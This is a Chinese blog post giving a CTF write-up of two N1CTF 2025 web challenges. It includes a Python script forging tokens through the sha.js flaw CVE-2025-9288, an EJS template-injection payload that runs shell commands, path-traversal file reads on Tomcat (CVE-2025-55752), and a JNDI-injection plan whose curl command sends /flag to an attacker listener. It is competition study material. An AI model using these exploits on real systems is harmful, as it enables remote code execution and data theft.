11.1 N1CTF2025中2个web题的wp

chaoji_xinren 发布于 2025-11-04 43 次阅读


初次尝试正经的ctf比赛,感觉好难,还是能做出来一些简单题的,由于比赛那天我有点事才打了8小时,只做出了2道题。

eezzjs

CVE-2025-9288 sha.js ,利用length来进行sha256状态回退,最后只需要爆破secretkey的最后一位(0-9a-f)的哈希就可以了。

import hashlib
import requests

url = "http://60.205.163.215:17352/upload"

payload="eyJhbGciOiJIUzI1NiJ9.eyJsZW5ndGgiOi0zMn0."
for item in "0123456789abcdef":
    headers={
        "cookie":"token="+payload+hashlib.sha256(item.encode()).hexdigest(),
    }
    res=requests.get(url,headers=headers)
    if "Log in failed" not in res.content.decode():
        print("Found:",payload+hashlib.sha256(item.encode()).hexdigest())

拿到token,通过上传.ejs进行模板渲染。extname函数在处理文件名为.ejs时,会返回扩展名为空,绕过waf。在res.render处,令templ=../uploads/,这里可以看express view渲染的源码处理,简单来说会在后面添加默认模板(.ejs)的后缀,拼接后的路径/app/views/../uploads/.ejs,渲染成功,执行命令即可

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <div>
        <%= process.mainModule.require('child_process').execSync('cp /f* /app/uploads/flag1') %>
    </div>
</body>
</html>

下面是拿到token之后进行上传和渲染的python脚本

import base64
import re
import secrets
import sys

import requests

BASE_URL = "http://60.205.163.215:11362"
TOKEN = "eyJhbGciOiJIUzI1NiJ9.eyJsZW5ndGgiOi0zMn0.3f79bb7b435b05321651daefd374cdc681dc06faa65e374e38337b88ca046dea"

def build_template(command: str) -> str:
    encoded = base64.b64encode(command.encode()).decode()
    return (
        "<%- process.mainModule.require('child_process').execSync("
        f"Buffer.from('{encoded}', 'base64').toString(), {{encoding: 'utf8'}}"
        ") %>"
    )

def upload_template(filename: str, command: str) -> None:
    template = build_template(command)
    payload = {
        "filename": filename,
        "filedata": base64.b64encode(template.encode()).decode(),
    }
    headers = {
        "Content-Type": "application/json",
        "Cookie": f"token={TOKEN}",
    }
    resp = requests.post(f"{BASE_URL}/upload", json=payload, headers=headers, timeout=10)
    if resp.status_code != 200:
        print(f"[-] Upload template failed: {resp.status_code} {resp.text}")
        sys.exit(1)

def render_template(view_name: str) -> str:
    headers = {"Cookie": f"token={TOKEN}"}
    resp = requests.get(
        f"{BASE_URL}/?templ=../uploads/{view_name}",
        headers=headers,
        timeout=10,
    )
    if resp.status_code != 200:
        print(f"[-] Render template failed: {resp.status_code}")
        print(resp.text)
        sys.exit(1)
    return resp.text

def extract_flag(output: str) -> str:
    match = re.search(r"[A-Za-z0-9_]+{[^\\s<]*}", output)
    if not match:
        print("[!] Flag not found; full output follows:")
        print(output)
        sys.exit(1)
    return match.group(0)

def main():
    base = f"pwn{secrets.token_hex(3)}"
    upload_name = f"{base}.ejs/."
    view_name = base
    print(f"[+] Using filename: {upload_name}")

    command = (
        "for f in /flag /flag.txt /flag* /root/flag /root/flag.txt "
        "/home/*/flag* /var/flag /var/www/flag /ffffffflag /f*; do "
        "if [ -f \"$f\" ]; then cat \"$f\"; exit 0; fi; "
        "done; find / -maxdepth 2 -type f -name 'flag*' 2>/dev/null"
    )

    upload_template(upload_name, command)
    print("[+] Template uploaded")

    output = render_template(view_name)
    print("[+] Template rendered")

    flag = extract_flag(output)
    print(f"[+] flag = {flag}")

if __name__ == "__main__":
    main()

这是本地起docker分析的样子

下面是攻击流程

这里主办方其实题出的有点问题,本来能探测到的信息是flag在/ffffffflag下但是题出错成在/flag下

n1cat

CVE-2025-55752 读取tomcat web.xml文件和相关class源码

/download?path=%2fWEB-INF%2fweb.xml
/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%welcomeServlet.class
/download?path=%2fWEB-INF%2fclasses%2fctf%2fn1cat%2fUser.class

关注User.class类,这里的setUrl存在jndi

package ctf.n1cat;

import javax.naming.InitialContext;
import javax.naming.NamingException;
/* loaded from: User.class */
public class User {
    private String name;
    private String word;
    private String url;

    public String getName() {
        return this.name;
    }

    public String getWord() {
        return this.word;
    }

    public void setWord(String password) {
        this.word = password;
    }

    public void setName(String name) throws NamingException {
        this.name = name;
    }

    public String getUrl() {
        return this.url;
    }

    public void setUrl(String url) {
        try {
            new InitialContext().lookup(url);
        } catch (NamingException e) {
            throw new RuntimeException((Throwable) e);
        }
    }
}

起个恶意的服务器打一波(看完官方wp之后发现是jdk版本问题,需要jkd17,而我版本不对导致jndi注入无效),以下是jndi的思路

JNDI 注入漏洞利用流程概述:

  1. 信息收集
    1. 通过 /download?path=... 读取到 web.xml、welcomeServlet.class、User.class。
    2. User.setUrl 直接将 url 传入 InitialContext.lookup —— JNDI 注入点成立。
  2. 搭建回连环境
    1. HTTP 监听器:保证公网主机(你的ip)上 python -m http.server 9000 常驻,用来接收 flag。
    2. Exploit 服务:使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 起 LDAP/RMI/HTTP(默认监听 1389/1099/8180)。
      • 在 WSL 中运行需要 netsh interface portproxy + 防火墙放行把端口转发到 WSL。
      • 更简便的做法:直接在 Windows 主机安装 JDK 后运行 jar,省去端口转发。
    3. 命令构造:为了回显 flag,常见 payload 如 sh -c 'curl http://你的ip:9000/?d=$(cat /flag)'。 在 Windows 下建议 Base64 编码拖入 JNDIExploit(Basic/Command/<base64>),避免命令被本地 shell 解析。
  3. 触发漏洞
    1. 发送 GET 请求(Tomcat 只接受 GET),包含合法 JSON 并让 url 指向 exploit 提供的 LDAP 路径。 例如:
    2. curl -G "http://60.205.163.215:12823/" \ --data-urlencode 'json={"name":"n1cat","word":"cat cat cat!","url":"ldap://你的ip:1389/<token>"}'
    3. 如果 JSON 报错,通常是 LDAP 访问失败(端口未通)或 token 过期。
  4. 获取 flag
    1. 成功后 exploit 的命令会执行,靶机通过 curl http://46.232.56.130:9000/?d=<flag> 回连。
    2. 在 HTTP 监听终端查看日志即可看到 GET /?d=flag{...}。如果没有回连,排查端口、token、网络连通性。

此作者没有提供个人介绍。
最后更新于 2025-11-04